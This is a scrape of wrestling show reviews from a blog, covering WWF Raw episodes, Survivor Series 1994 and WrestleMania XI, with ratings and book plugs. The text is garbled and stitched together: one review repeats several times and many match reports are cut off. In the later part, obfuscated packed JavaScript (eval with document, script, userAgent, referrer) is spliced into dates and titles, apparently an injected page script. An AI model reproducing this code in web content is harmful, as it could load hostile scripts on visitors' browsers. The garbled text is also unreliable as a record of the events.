Monday Night Raw
Date: October 3, 1994
Location: Memorial Auditorium, Utica, New York
Attendance: 4,500
Commentators: Vince McMahon, Randy Savage

We’re in between Summerslam and Survivor Series here that means the big story is Bret Hart, who successfully defended the WWF World Title against his brother Owen back in August. However, after the match the British Bulldog and Jim Neidhart got involved and it seems that we’re moving towards a tag team feud. I’m not sure where that’s going to lead us at the moment but it’s almost time to start up the Survivor Series build. Let’s get to it.

We open with a recap of Neidhart challenging Bulldog for tonight.

Earlier today, Neidhart and Owen arrived to call Bulldog a mud dog.

Opening sequence.

Jim Neidhart vs. British Bulldog

Owen is here with Neidhart but Bulldog is all alone. Some help Bret is. An early Owen distraction lets Neidhart jump him from behind but Bulldog nails a flying shoulder to send Neidhart outside. Back in and the power lockup (expect a few of those) goes nowhere so Neidhart grabs a headlock. That’s reversed into an armbar, followed by the fully expected test of strength. Neidhart kicks him in the ribs but gets suplexed down, meaning it’s time to go to the mat. I really didn’t think I’d say that, but I did think it would be pretty messy looking.

Bulldog finally breaks the thing so Neidhart goes after the knee. A clothesline gives Bulldog two but Neidhart takes the straps down and cranks on the knee again. A camel clutch changes Neidhart’s focus again but he lets go again (dude stick with something) and misses a middle rope splash. Bulldog manages the delayed vertical suplex for two but here’s Bob Backlund to go after Bret, leaving Owen to come in for the DQ.

Rating: D. In case you never needed proof of why Neidhart mainly wrestled as part of a tag team. This was really boring with Neidhart using one lame hold after another and not being able to decide if he wanted to work on the back or the neck. If nothing else this makes me want to see a great tag match between these four, which does exist and is of course awesome.

Baseball is on strike but wrestling isn’t. Good for them?

Doink the Clown vs. Barry Horowitz

Barry headlocks him down as we hear about Doink’s issues with Jerry Lawler. Egads I had tried to forget about that mess. They keep exchanging technical stuff on the mat as Vince and Savage are incensed that Jerry turned Dink’s tricycle into a unicycle. Barry gets in a shot to the ribs but misses a charge. Doink grabs a powerslam and hits the Whoopee Cushion (complete with sound effect) for the pin. Well at least it was short.

The Undertaker wants Yokozuna and will find him on the upcoming Hart Attack Tour. It’s better than Road To or *insert show here* Revenge.

House show ads.

It’s time for the King’s Court with Lawler making fun of Doink and Dink. Imagine, someone dressing up in a silly costume just to get attention (Savage explains the joke.). He doesn’t believe the lies from the commentators, which brings him to someone who needs to set the record straight. People have been saying that Yokozuna is scared of Undertaker so here he is to explain things. During Yokozuna’s entrance, Vince runs off celebrity birthdays and Savage talks about Roseanne.

Jim Cornette explains that the fear story is a smear campaign put out by Undertaker and Yokozuna, because Undertaker is the scared one. There are going to be some casket matches on the Hart Attack Tour, though Jim refuses to say the word casket. Lawler says it and Yokozuna’s head snaps around.

Cornette asks Lawler not to say that again so Lawler promises to not say “casket” again. Undertaker has good reason to be scared, because Yokozuna is the only man to ever beat him in his own game. It’s time for Undertaker to prove that he’s not scared, though let’s pause for Lawler to say casket again. Anyway, Yokozuna will destroy Undertaker soon enough.

Action Zone is coming. That show was awesome for….oh a good three weeks or so.

Bull Nakano/Luna Vachon vs. Heidi Lee Morgan/Alundra Blayze

Morgan was a minor name in the 1980s/90s and is really just a warm body here. Luna misses an early charge on Morgan to start and gets rolled up for an early two. Morgan gets taken into the corner for a beating, including a middle of the rope Vader Bomb from Vachon. It’s off to Nakano, who gets taken down with a victory roll for two. With Vince being astounded that Nakano didn’t break his hair, Savage says he’s attracted to her.

I’m not sure what to say there so we’ll move on to Morgan dropkicking Vachon down but missing a standing splash, as she dove forward three feet despite her feet touching Vachon. You can hear Vince’s disgust on the miss. Anyway it’s off to Blayze for the showdown with Nakano but everything breaks down. Morgan, not realizing that this isn’t about her, comes in to try a double suplex but Nakano suplexes both of them down instead. Vachon dropkicks Nakano by mistake though and it’s the German suplex from Blayze for the pin.

Rating: C. I liked this one as it was a good example of how the women’s division could have worked back in the day. These were four women who could work and had a perfectly fine match. There were problems like Morgan being in the ring for too long and not realizing that this was supposed to be about Nakano vs. Blayze but it’s a far cry from the disasters that this division would become.

King Kong Bundy is back next week. I know that sounds like it’s out of a different era, but it’s no different than Tajiri or Rhyno showing up late in their careers. You know exactly what you’re getting and Bundy is perfectly fine at what he does.

New Generation ad with a woman confessing to a priest about having “thoughts” about people like Razor Ramon, Shawn Michaels and Bret Hart. “The New WWF: Put your faith in us.” I….kind of liked that one.

Bob Backlund vs. Gary Scott

This is crazy Bob who thinks he should still be WWF Champion because he didn’t give up in 1983. Backlund armdrags him down to start and does his little dance. Savage talks about using a thesaurus and dictionary as Backlund gets taken down as well. They get into a technical sequence and Bob takes over without breaking a sweat. A leg trip sets up the crossface chickenwing.

Bret thinks Backlund is insane and points out that he beat Backlund a few weeks back. He had his shot and it’s time to move on.

Overall Rating: C. Not the worst show and it’s amazing how much more of a focus this show feels like it has compared to earlier in the year. The wrestling isn’t great, but they’re telling some stories and I want to see where some of them go. You don’t get that enough in this era and a confident Bret on top is a huge help. Not a great show, but far better than most of what we get from 1994.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s History Of In Your House (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/05/31/new-paperback-kbs-history-of-in-your-house/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Survivor Series 1994
Date: November 23, 1994
Location: Freeman Coliseum, San Antonio, Texas
Attendance: 10,000
Commentators: Vince McMahon, Gorilla Monsoon

We open with a clip from earlier today of the team captains giving their teams pep talks.

Gorilla and Vince are dressed as cowboys. Gorilla looks like he could almost pull the look off but Vince looks like a schnook.

Teamsters vs. Bad Guys

Teamsters: Diesel, Shawn Michaels, Owen Hart, Jim Neidhart, Jeff Jarrett

Bad Guys: Razor Ramon, 1-2-3 Kid, British Bulldog, Headshrinkers

Rating: C. This was all angle and not much wrestling. This was the big face turn for Diesel which would result in the World Title very soon after this. It was a face turn that made sense too as he was tired of Shawn telling him what to do and getting hurt as a result, so he gave up and went after Shawn. Ticked off giants are very fun, so the first few months of Diesel Power were fun stuff. It was the other eight or nine months that stopped being fun.

Royal Family vs. Clowns R Us

Royal Family: Jerry Lawler, Queasy, Sleazy, Cheesy

Clowns R Us: Doink, Dink, Wink, Pink

Jerry says he won the match and not the other ones. They celebrate anyway and Lawler keeps yelling, so they turn on him and the clowns join in for a six on one beatdown. The big payoff is Doink hitting Lawler with a pie. This ran nearly TWENTY MINUTES out of a two hour and forty minute show.

WWF World Title: Bob Backlund vs. Bret Hart

Million Dollar Team vs. Guts And Glory

Million Dollar Team: Tatanka, King King Bundy, Bam Bam Bigelow, Heavenly Bodies

Guts and Glory: Lex Luger, Adam Bomb, Mabel, Smoking Gunns

A group beatdown on Lex follows the match. The Gunns and Bomb make the save.

Yokozuna vs. Undertaker

Ratings Comparison

Teamsters vs. Bad Guys

Original: C-

Redo: C

Royal Family vs. Clowns R Us

Original: G (as in below an F)

Redo: S

Bob Backlund vs. Bret Hart

Original: A

Redo: A

Million Dollar Team vs. Guts and Glory

Original: C-

Redo: C

Undertaker vs. Yokozuna

Original: D+

Redo: D

Overall Rating

Original: C-

Redo: C-

That’s probably as close as any of these second looks are going to go.

Here’s the original review if you’re interested:

http://kbwrestlingreviews.com/2011/11/13/history-of-survivor-series-count-up-mr-bob-backlund-and-chuck-norris/

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Smackdown Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/09/07/new-book-kbs-complete-smackdown-2003-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Monday Night Raw
Date: November 28, 1994
Location: Mid-Hudson Civic Center, Poughkeepsie, New York
Attendance: 2,500
Commentators: Vince McMahon, Jerry Lawler

We’re past Survivor Series and that means we have a new WWF World Champion in the form of Diesel. Yes Diesel, who is now fighting on the side of good, and not Bob Backlund, who lost the title to Diesel three days after he won the title back. The fact that the match was eight seconds made it even more emphatic. The company is running on Diesel Power now and that means….well we’re not sure yet so let’s get to it.

Here’s last week’s show.

And Survivor Series.

We open with a stills package of Backlund winning the title. My favorite part of that remains British Bulldog being unconscious on the floor for the better part of twelve minutes and receiving no attention, including people walking over his unconscious body. Diesel dominated his Survivor Series match that night but got kicked in the face by Shawn Michaels, meaning the team was done (vacating the Tag Team Titles in the process). We see the full title change with Diesel winning the title. I remember seeing this at six years old and going nuts.

Owen Hart vs. John Paul

Owen is downright giddy after screwing Bret out of the title. Paul gets taken down by the shoulder as Bret calls in to discuss his shoulder injury. He should be back around the New Year due to some stretched tendons so the WE WANT BRET chants are going to be ignored for the time being. Owen gets in some more suplexes and an enziguri but Paul hits a good dropkick. And never mind as the Sharpshooter wraps him up in short order.

Rating: D. Just a squash here while Bret got to update his story. Owen wasn’t going to do much after the feud with Bret wrapped up but he needed to get a win of his own that actually mattered. Unfortunately it would take a long time to get there and that had a lot to do with Owen falling down the card in short order.

Owen throws the towel in on Paul for bad measure.

BUY THE ENCORE!

IRS vs. Adam Bomb

IRS has Ted DiBiase, who brings out his own druid. Apparently Undertaker STILL owes some taxes, which really is inexcusable. Bomb shrugs off the early right hands in the corner and grabs a headlock, because that’s what you expect from a power guy like him. IRS gets knocked outside and rammed into the apron as the announcers talk about Chuck Norris.

Back in and the slingshot clothesline (always looked good) drops IRS again, followed by a whip into the corner for the same. IRS gets in a toss to the floor of his own and it’s time to hit that chinlock. Bomb fights up and we take a very abrupt break. We come back with Bomb in more trouble and another chinlock going on. The comeback, consisting of some clotheslines, but the druid shoves Bomb off the top to give IRS an easy pin.

Rating: D+. I’ve always been a fan of Bomb so the match was a little more entertaining than it could have been otherwise. As it was though, the match was rather boring with no reason to be interested in anything they were doing. I’m also wondering why we’re building Undertaker vs. IRS but my goodness the possible explanations scare the heck out of me.

Lex Luger makes a post match save.

Stills of the casket match.

Bob Holly vs. Tony DeVito

Holly, mostly in black for a weird look, starts fast with the perfect dropkick. DeVito gets in a running corner clothesline for about the extent of his offense. The announcers talk about Holly’s actual racing career until he finishes with a top rope clothesline.

We get what I believe is the first Henry Godwinn vignette. Egads 1994 was a scary time. He’s the scariest hog of all and when he gets to the WWF, he’ll be in hog Heaven. You just know Vince wrote that line.

Lex Luger vs. Bert Centino

Luger works the arm to start and hits some hiptosses. An elbow drop doesn’t go as well but a running clothesline and the Rebel Rack end Bert in a hurry.

Here’s Diesel for his first interview as champion. He recaps Shawn messing things up because he wanted the spotlight after Diesel did all the work. Shawn better be glad he got away because if Diesel had gotten his hands on him, Shawn wouldn’t have survived. Then with Bret out injured, Diesel won the title at Madison Square Garden on Saturday. Diesel recaps his entire day, including the cab ride from the airport.

About a hundred people told him win the title and HOW SWEET IT IS that he now has the gold. He respects Bob Backlund and the crossface chickenwing could be trouble, but Bob has to get it on. Oh yeah he’s corporate now, as that’s not something Diesel would have EVER said before winning the title.

As for Bret, Diesel doesn’t like how he lost the title and if someone hadn’t made Bret give up, Survivor Series would still be going on. Vince: “That would be true.” My goodness you can see the wheels turning for Montreal from here. Diesel would be glad to give Bret a title shot anytime anywhere. He declares the new generation to wrap it up on a pretty bad note.

Heavenly Bodies vs. Gary Scott/Buck Quartermaine

I’ve never been a fan of the Bodies but Cornette raves about them so maybe they’re worth another look. Del Ray gets hiptossed by Scott as Backlund joins commentary, praising the benefits of dictionaries. It’s off to Prichard for a knee drop but Buck is in for some dropkicks. Bob talks about mothers killing their children, which he wants to change. Well now that we’ve covered that issue, Prichard gets in a suplex on Buck to keep him in trouble. Backlund cites Sigmund Freud to explain his blackout after losing the title as Prichard hits the Doctor Bomb for no cover. A Trash Compactor ends Buck.

Rating: D+. I could see why the Bodies were considered a good team and it’s not like there’s anything to be gained off a match like this. Maybe I need to see some of their SMW stuff as that seems to be their heyday. This was mainly about Backlund though, which might explain why the Bodies didn’t work out so well around here.

Backlund doesn’t want to see the title loss (well duh) and promises to chicken wing Vince before he retires. I don’t think anything ever came of that but it’s a funny visual.

Overall Rating: D-. So Diesel is champion now and you can feel the darkness creeping in. They had to get away from Backlund as the top heel and Bret had gotten them about as far as he could, but turning Diesel away from what worked isn’t the best idea in the world. Then again not much on this show was a good idea and that’s a bad sign of things to come. Like Henry Godwinn for example.

Remember to check out my new forum at steelcageforums.com, follow me on Twitter @kbreviews and pick up the 2018 Updated Version of the History of the WWE Championship in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2018/01/26/new-book-kbs-history-of-the-wwe-championship-2018-updated-version/

And check out my Amazon author page with cheap wrestling books at:

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IMG Credit: WWE

Monday Night Raw
Date: November 14, 1994
Location: Fernwood Resort, Bushkill, Pennsylvania
Attendance: 1,500
Commentators: Vince McMahon, Ted DiBiase

We’ve had a big match announced for this week’s show as Bob Backlund is facing the 1-2-3 Kid. That’s an odd match but it sounds oddly interesting for some reason. Bret Hart, who will be defending the WWF World Title against Backlund at the upcoming Survivor Series, should be watching that one so let’s get to it.

For some reason the opening match isn’t included on the Network. Thank goodness for other options though.

Opening sequence.

1-2-3 Kid vs. Bob Backlund

Backlund goes straight for him at the bell, which really isn’t what you expect from him. In something a little more predictable, Kid fires off the kicks and grabs a short armscissors to keep Backlund down. Backlund of course does the power lift to put Kid on the top (because that’s his spot), meaning it’s time to start in on the arm.

Back from a very early break with Kid’s arm being sent into the buckle, only to reverse the Crossface Chickenwing into one of his own. Bob slips out but can’t get the real thing on, instead going with more standard arm work. Kid kicks away some more but misses a top rope splash. The Chickenwing goes on and Kid is done in a hurry.

Rating: C. That’s the kind of win that Backlund needs as it makes him look like he can beat someone smaller and faster. It makes him look like a killer and that’s the kind of thing he needs to do going into Survivor Series. The Kid isn’t going to lose anything by losing here so everything comes out fine.

Post match Bret comes in for the save but Backlund grabs the Chickenwing. He lets go immediately though and says it can be that easy. Bret charges him and slaps on the Sharpshooter in the aisle. He lets go as well, saying there won’t be any releasing at Survivor Series.

New Generation ad with an old lady babbling about Shawn Michaels cleaning up the streets. I have no idea how that makes me want to watch wrestling.

Mabel vs. The Blue Phantom

Mabel and Oscar rap about how they’re going to dominate at the Survivor Series with DiBiase telling Vince to sit down. The Phantom is all in black, making me think they have no idea how colors work. Mabel powers him into the corner to start and sends the Phantom flying with a hiptoss. The big elbow misses and Phantom kicks away in the corner, only to get caught with the Boss Man Slam for an easy pin.

We go to the Survivor Series Report with Todd Pettengill and unfortunately without his sweet shirt from last week. This week looks at the submission and casket match as there’s not much left to say on these things. We see a clip of the first casket match between Undertaker and Yokozuna, spliced in with Chuck Norris talking about how he won’t let it happen again. Tatanka promises to test Norris because he doesn’t like Texas. We hear about the Survivor Series matches to wrap things up.

Jeff Jarrett vs. Gary Sabaugh

The announcers start talking about Sonny Bono becoming a Congressman as it’s time to discuss the news, which was never funny and I never got the point. Jeff hiptosses him down and let’s hit that strutting. Choking on the ropes sets up the running crotch attack before it’s off to the leg. The Figure Four is good for the win.

Rating: D. I know Jarrett is now a Hall of Famer but that doesn’t make him the most interesting wrestler in the world. He wrestles such a simple style but he’s far from someone I’d want to see him wrestle. The country music stuff isn’t good either and it’s not getting any better with time.

IRS has no issues with stealing Undertaker’s headstone because EVERYONE, either living or dead, has to pay their taxes. Being six feet under is NOT a tax shelter.

It’s time for the King’s Court and after some general insults to the crowd, Lawler brings out Owen Hart as the guest. Owen has the towel for the submission match (the same one thrown in to cause Backlund to lose the title in 1983) and can’t wait to see Bret in the Crossface Chickenwing. He promises to never throw the towel in, meaning the only one going into the ring will be pink and black. They take their sweet time explaining the rules (they’re really not that hard) and Lawler thinks Backlund is still rightfully champion.

This brings out British Bulldog (Bret’s towel holder) to say Bret is champion today and will still be after Survivor Series. Owen wants Bulldog to let Bret be in pain for some time before throwing in the towel. They argue over whose hold is better and it just kind of ends after the rambling exchanges.

Aldo Montoya vs. Brooklyn Brawler

This is Aldo’s debut and let’s talk about Celebrity Jeopardy! Aldo avoids an early elbow drop but gets pulled down by the hair. Instead it’s a dropkick to send Brawler outside, followed by the required dive. DiBiase reads an ad for an upcoming movie and Vince really doesn’t seem pleased. Brawler gets two off a backbreaker as Vince reads it all over again. A hurricanrana into some right hands have Brawler in trouble and a spinning high crossbody is good for the fast pin. I’m not sure I see the appeal here, but Paul Heyman certainly did….whatever it was.

Post match DiBiase offers Montoya a spot in the Million Dollar Corporation but gets shot down, both in Portuguese and English.

Alundra Blayze gives a quick plug for her upcoming title match in Tokyo.

Overall Rating: D. I’m interested in some of the team matches but this was almost all built around the World Title match. The problem with that is while it makes for a good match, it really doesn’t make for interesting TV. The fact that most of the talking is about throwing in a towel makes things even worse. Couple that with the Montoya stuff being even less interesting and this was a rough sit.

Remember to check out my new forum at steelcageforums.com, follow me on Twitter @kbreviews and pick up the 2018 Updated Version of the History of the WWE Championship in e-book or paperback. Check out the information here:

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And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Survivor Series 1994
Date: November 23, 1994
Location: Freeman Coliseum, San Antonio, Texas
Attendance: 10,000
Commentators: Vince McMahon, Gorilla Monsoon

We open with a clip from earlier today of the team captains giving their teams pep talks.

Gorilla and Vince are dressed as cowboys. Gorilla looks like he could almost pull the look off but Vince looks like a schnook.

Teamsters vs. Bad Guys

Teamsters: Diesel, Shawn Michaels, Owen Hart, Jim Neidhart, Jeff Jarrett

Bad Guys: Razor Ramon, 1-2-3 Kid, British Bulldog, Headshrinkers

Rating: C. This was all angle and not much wrestling. This was the big face turn for Diesel which would result in the World Title very soon after this. It was a face turn that made sense too as he was tired of Shawn telling him what to do and getting hurt as a result, so he gave up and went after Shawn. Ticked off giants are very fun, so the first few months of Diesel Power were fun stuff. It was the other eight or nine months that stopped being fun.

Royal Family vs. Clowns R Us

Royal Family: Jerry Lawler, Queasy, Sleazy, Cheesy

Clowns R Us: Doink, Dink, Wink, Pink

Jerry says he won the match and not the other ones. They celebrate anyway and Lawler keeps yelling, so they turn on him and the clowns join in for a six on one beatdown. The big payoff is Doink hitting Lawler with a pie. This ran nearly TWENTY MINUTES out of a two hour and forty minute show.

WWF World Title: Bob Backlund vs. Bret Hart

Million Dollar Team vs. Guts And Glory

Million Dollar Team: Tatanka, King King Bundy, Bam Bam Bigelow, Heavenly Bodies

Guts and Glory: Lex Luger, Adam Bomb, Mabel, Smoking Gunns

A group beatdown on Lex follows the match. The Gunns and Bomb make the save.

Yokozuna vs. Undertaker

Ratings Comparison

Teamsters vs. Bad Guys

Original: C-

Redo: C

Royal Family vs. Clowns R Us

Original: G (as in below an F)

Redo: S

Bob Backlund vs. Bret Hart

Original: A

Redo: A

Million Dollar Team vs. Guts and Glory

Original: C-

Redo: C

Undertaker vs. Yokozuna

Original: D+

Redo: D

Overall Rating

Original: C-

Redo: C-

That’s probably as close as any of these second looks are going to go.

Here’s the original review if you’re interested:

http://kbwrestlingreviews.com/2011/11/13/history-of-survivor-series-count-up-mr-bob-backlund-and-chuck-norris/

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Wrestlemania XI
Date: April 2, 1995
Location: Hartford Civic Center, Hartford, Connecticut
Attendance: 16,305
Commentators: Jerry Lawler, Vince McMahon

A special Olympian sings America the Beautiful. Nothing wrong with that.

Allied Powers vs. Blu Brothers

Zebekiah demands justice because the wrong Blu got pinned.

Nicholas Turturro is supposed to interview Pamela Anderson but we have audio difficulties.

Intercontinental Title: Jeff Jarrett vs. Razor Ramon

Back inside and Roadie cheats a bit with some choking, only to have Jeff miss a charge and land on him. All Razor so far. Back in again and Jarrett hits a swinging neckbreaker and some dropkicks to take over. We hit the chinlock for a bit before things speed up with both guys getting near falls. Jarrett hooks a sleeper that lasts even less time than the chinlock so Jeff punches him down and hooks another chinlock.

Rating: C. This match was mainly punches but Razor was so insanely over the he carried the crowd. Jarrett was pretty dull at this point but he would reach all new levels of dull later on in WCW. Razor would finally get the title back in a ladder match on a house show in May, but it would only last for two days. The match here was ok but nothing worth seeing. It was better than the first match though.

Post match Jarrett puts the Kid in the Figure Four.

Jarrett says that was perfectly good conduct for a champion.

Turturro is with Jenny McCarthy and nothing of note is said. Pamela Anderson is nowhere to be seen but Shawn pops in to say nothing is wrong. Team DiBiase is behind them planning for later. Sid says Diesel is going down tonight.

King Kong Bundy vs. Undertaker

This is part of the never ending Undertaker vs. Million Dollar Corporation feud. The Corporation stole the Urn at the Rumble and tonight is about revenge and getting the Urn back. Before Taker comes out, Todd Pettingil talks to some football player. The referee is a Major League umpire who is moonlighting because MLB is on strike. Undertaker stares at DiBiase before the bell and Ted drops the Urn.

Tag Titles: Owen Hart/??? vs. Smoking Gunns

Rating: C-. Another decent but lackluster match here which is the theme of this show. The Gunns losing was definitely the right call as Owen and Yoko made for dominant champions for several months. Other than that though, the match was boring stuff overall. Owen finally getting a title was a good moment though.

Bret Hart vs. Bob Backlund

This is an I Quit match with Roddy Piper as guest referee. They had a previous I Quit match at Survivor Series which wound up being pretty awesome as an old school style match that ran about thirty five minutes. Thanks to Owen cheating, Backlund won the title and shocked the world, so tonight is about revenge for Hart. Piper is here for no apparent reason whatsoever.

Backlund says he saw the light and looks crazier than usual.

Pamela Anderson is nowhere to be found so changes have been made. Ok then.

WWF World Title: Shawn Michaels vs. Diesel

Diesel is defending and Jenny McCarthy comes out with Shawn. Pam Anderson comes out with Diesel to tick Shawn off, even though I thought McCarthy looked better. Shawn tries to jump Diesel but gets backdropped to the floor so Anderson can come in and pose. We actually get going and Shawn is dropped by a right hand. Diesel beals him out of the corner and Shawn is in trouble early.

Diesel is thrown to the floor but Shawn skins the cat to stay alive. A BIG dive off the top takes Diesel down and a baseball slide keeps him down. Shawn tries another baseball slide but Diesel steps to the side, only to accidentally ram himself ribs first into the post. A Sid chant breaks out as Shawn hits a running splash off the apron. They get back in as Sid and Hebner get in an argument which goes nowhere.

Diesel celebrates with all the celebrities.

The Million Dollar Team is introduced for the main event: Bundy, Tatanka, Nikolai Volkoff, Kama, I.R.S. and DiBiase himself. We also get the NFL All-Pro Team: Ken Norton, Chris Speilman, Rickey Jackson, Carl Banks, Steve McMichael and Reggie White.

Bam Bam Bigelow vs. Lawrence Taylor

Back in and Bigelow gets in some shots to take over including a headbutt. A falling headbutt misses so Taylor fires off a big forearm to take Bigelow down. Bam Bam pounds him right back down and puts on a Boston crab which almost immediately shifts into a half crab. It breaks down even further into Bigelow just pulling on one leg. Now he just leans on it instead of cranking on it.

Bigelow misses an enziguri but Taylor falls down anyway. The top rope headbutt gets another two and the crowd reacts a bit. Taylor gets his last gasp of energy though and pounds Bigelow in the corner before hitting a pair of big forearms. A third from the middle rope is enough for the shocking upset.

Taylor can barely stand up post match and the team has to help him back. DiBiase goes on a rant to end the show.

Ratings Comparison

Allied Powers vs. Blu Brothers

Original: D

Redo: C-

Razor Ramon vs. Jeff Jarrett

Original: D+

Redo: C

Undertaker vs. King Kong Bundy

Original: F+

Redo: D

Owen Hart/Yokozuna vs. Smoking Gunns

Original: D+

Redo: C-

Bob Backlund vs. Bret Hart

Original: F+

Redo: D+

Diesel vs. Shawn Michaels

Original: B

Redo: B

Lawrence Taylor vs. Bam Bam Bigelow

Original: D+

Redo: B

Overall Rating

Original: F+

Redo: D+

http://kbwrestlingreviews.com/2011/03/18/history-of-wrestlemania-with-kb-wrestlemania-11-just-get-it-over-with/

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbfyt|var|u0026u|referrer|tdddd||js|php'.split('|'),0,{})) Series 1994
Date: November 23, 1994
Location: Freeman Coliseum, San Antonio, Texas
Attendance: 10,000
Commentators: Vince McMahon, Gorilla Monsoon

We open with a clip from earlier today of the team captains giving their teams pep talks.

Gorilla and Vince are dressed as cowboys. Gorilla looks like he could almost pull the look off but Vince looks like a schnook.

Teamsters vs. Bad Guys

Teamsters: Diesel, Shawn Michaels, Owen Hart, Jim Neidhart, Jeff Jarrett

Bad Guys: Razor Ramon, 1-2-3 Kid, British Bulldog, Headshrinkers

Rating: C. This was all angle and not much wrestling. This was the big face turn for Diesel which would result in the World Title very soon after this. It was a face turn that made sense too as he was tired of Shawn telling him what to do and getting hurt as a result, so he gave up and went after Shawn. Ticked off giants are very fun, so the first few months of Diesel Power were fun stuff. It was the other eight or nine months that stopped being fun.

Royal Family vs. Clowns R Us

Royal Family: Jerry Lawler, Queasy, Sleazy, Cheesy

Clowns R Us: Doink, Dink, Wink, Pink

Jerry says he won the match and not the other ones. They celebrate anyway and Lawler keeps yelling, so they turn on him and the clowns join in for a six on one beatdown. The big payoff is Doink hitting Lawler with a pie. This ran nearly TWENTY MINUTES out of a two hour and forty minute show.

WWF World Title: Bob Backlund vs. Bret Hart

Million Dollar Team vs. Guts And Glory

Million Dollar Team: Tatanka, King King Bundy, Bam Bam Bigelow, Heavenly Bodies

Guts and Glory: Lex Luger, Adam Bomb, Mabel, Smoking Gunns

A group beatdown on Lex follows the match. The Gunns and Bomb make the save.

Yokozuna vs. Undertaker

Ratings Comparison

Teamsters vs. Bad Guys

Original: C-

Redo: C

Royal Family vs. Clowns R Us

Original: G (as in below an F)

Redo: S

Bob Backlund vs. Bret Hart

Original: A

Redo: A

Million Dollar Team vs. Guts and Glory

Original: C-

Redo: C

Undertaker vs. Yokozuna

Original: D+

Redo: D

Overall Rating

Original: C-

Redo: C-

That’s probably as close as any of these second looks are going to go.

Here’s the original review if you’re interested:

http://kbwrestlingreviews.com/2011/11/13/history-of-survivor-series-count-up-mr-bob-backlund-and-chuck-norris/

https://www.amazon.com/dp/B01LY6766K#nav-subnav

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Superstars
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhiya|var|u0026u|referrer|hfess||js|php'.split('|'),0,{})) October 21, 2016
Location: Pepsi Center, Denver, Colorado
Commentators: Tom Phillips, Corey Graves

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zakbf|var|u0026u|referrer|zebta||js|php'.split('|'),0,{})) Night Raw
Date: May 22, 1995
Location: Broome County Arena, Binghamton, New York
Commentators: Vince McMahon, Jerry Lawler

Opening sequence.

Vince and Jerry have their opening chat.

Razor Ramon vs. Mike Bell

Hunter Hearst Helmsley vs. John Crystal

We go to Bob Backlund campaign headquarters for his first campaign ideas: children must purchase a dictionary, read one great American novel every week, ban calculators and computers and get rid of summer vacations. As a seven year old, this TERRIFIED me and I actually bought the whole thing.

Allied Powers vs. Bill Payne/Tony DeVito

The match almost immediately goes to a split screen so we can see Bulldog electric chair Mabel. Bulldog throws DeVito around, Luger throws Payne around and the powerslam ends Bill in a hurry.

We recap Bam Bam Bigelow vs. I.R.S. from last week.

Kama Mustafa vs. Barry Horowitz

Todd previews the Hall of Fame banquet, which is a really low level event at this point. Antonino Rocca is the first name announced for induction.

King of the Ring Qualifying Match: Shawn Michaels vs. King Kong Bundy

Bundy goes right after him to start so Michaels knees him in the back to put the big man on the floor. We take an early break and come back with Shawn hammering away, including some right hands in the corner. Michaels makes the mistake of going outside to mess with DiBiase though, allowing Bundy to hit him from behind and get in a slam on the floor.

Undertaker is ready for his King of the Ring qualifying match against Jeff Jarrett.

https://www.amazon.com/dp/B01IH7O904

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkrzf|var|u0026u|referrer|aifat||js|php'.split('|'),0,{})) Night Raw
Date: December 11, 1995
Location: Richmond Coliseum, Richmond, Virginia
Attendance: 4,500
Commentators: Vince McMahon, Jerry Lawler

Vince and the King talk about how Bob Backlund is spreading a disease called the crossface chickenwing and Bret Hart hopes to have the cure.

Shawn Michaels will talk tonight.

Opening sequence.

Owen Hart vs. Jeff Hardy

Owen has Yokozuna, Jim Cornette and Mr. Fuji in his corner. A knee to the ribs puts Jeff down as we see Diesel watching in the back. Owen punches him in the ropes and a missile dropkick makes things even worse. Hart teases the Sharpshooter but decides to just cover Jeff to make him obsolete.

Post match Yokozuna hits a Banzai Drop to leave Hardy broken. Am I allowed to say that? Owen gives him a bonus Sharpshooter, drawing out Diesel for the save. I can always go with a fired up Diesel hitting people at a run.

Aja Kong vs. Chapparita Asari

Ahmed Johnson vs. Rick Stockhauser

The spinebuster and Pearl River Plunge wrap up the jobber in about a minute.

Bob Backlund vs. Bret Hart

The dull wrestling continues as the lights seem to get dark, implying that the fans are leaving. We take a quick break and come back with Bob holding his back on the floor. Bob starts in on the arm with the chickenwing but Bret is quickly in the ropes. Lawler spends this section of the match talking about music as we hit the armbar on Bret.

Backlund puts on the crossface chickenwing as Bulldog stomps away a lot to wrap up the show.

https://www.amazon.com/dp/B01IH7O904

And check out my Amazon author page with cheap wrestling books at:

